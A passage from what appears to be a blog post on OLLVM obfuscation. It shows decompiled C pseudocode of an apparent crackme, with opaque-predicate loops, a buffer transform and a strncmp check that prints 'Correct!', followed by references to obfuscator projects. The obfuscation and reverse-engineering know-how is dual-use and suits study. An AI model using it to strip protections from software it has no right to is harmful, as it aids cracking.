LABEL_20</span>:</span></span>
      s</span>[</span>v7</span>]</span> =</span> 0</span>;</span></span>
      s</span>[</span>v7</span>]</span> +=</span> 6</span>;</span></span>
    }</span></span>
    if</span> (</span> (</span>v11 </span>+</span> 1</span>)</span> *</span> v11 </span>%</span> 2</span> )</span></span>
      goto</span> LABEL_21</span>;</span></span>
    while</span> (</span> 1</span> )</span></span>
    {</span></span>
      ++</span>v7</span>;</span></span>
      if</span> (</span> !</span>(</span>(</span>v11 </span>+</span> 1</span>)</span> *</span> v11 </span>%</span> 2</span>)</span> )</span></span>
        break</span>;</span></span>
LABEL_21</span>:</span></span>
      v7 </span>=</span> 2</span>;</span></span>
    }</span></span>
  }</span></span>
  do</span></span>
    v6 </span>=</span> 1</span>;</span></span>
  while</span> (</span> (</span>v7 </span>+</span> 1</span>)</span> *</span> v7 </span>%</span> 2</span> )</span>;</span></span>
  while</span> (</span> 2</span> )</span></span>
  {</span></span>
    if</span> (</span> v6 </span><</span> n </span>)</span></span>
    {</span></span>
      s</span>[</span>v6 </span>-</span> 1</span>]</span> -=</span> s</span>[</span>v6</span>]</span>;</span></span>
      if</span> (</span> !</span>(</span>(</span>v11 </span>+</span> 1</span>)</span> *</span> v11 </span>%</span> 2</span>)</span> )</span></span>
      {</span></span>
LABEL_12</span>:</span></span>
        ++</span>v6</span>;</span></span>
        if</span> (</span> !</span>(</span>(</span>v11 </span>+</span> 1</span>)</span> *</span> v11 </span>%</span> 2</span>)</span> )</span></span>
          continue</span>;</span></span>
      }</span></span>
      v6 </span>=</span> 2</span>;</span></span>
      goto</span> LABEL_12</span>;</span></span>
    }</span></span>
    break</span>;</span></span>
  }</span></span>
  if</span> (</span> !</span>strncmp</span>(</span>s</span>,</span> &</span>encrypt_data</span>,</span> n</span>)</span> )</span></span>
  {</span></span>
    if</span> (</span> !</span>(</span>(</span>v6 </span>+</span> 1</span>)</span> *</span> v6 </span>%</span> 2</span>)</span> )</span></span>
      goto</span> LABEL_16</span>;</span></span>
    do</span></span>
    {</span></span>
      printf</span>(</span>"</span>Correct!</span>"</span>)</span>;</span></span>
LABEL_16</span>:</span></span>
      printf</span>(</span>"</span>Correct!</span>"</span>)</span>;</span></span>
    }</span></span>
    while</span> (</span> (</span>v6 </span>+</span> 1</span>)</span> *</span> v6 </span>%</span> 2</span> )</span>;</span></span>
  }</span></span>
  while</span> (</span> (</span>v6 </span>+</span> 1</span>)</span> *</span> v6 </span>%</span> 2</span> )</span></span>
    ;</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>refs</h2>
Obfuscator-llvm源码分析</a></p>
HikariObfuscator/Core</a></p>
obfuscator-llvm/obfuscator</a></p>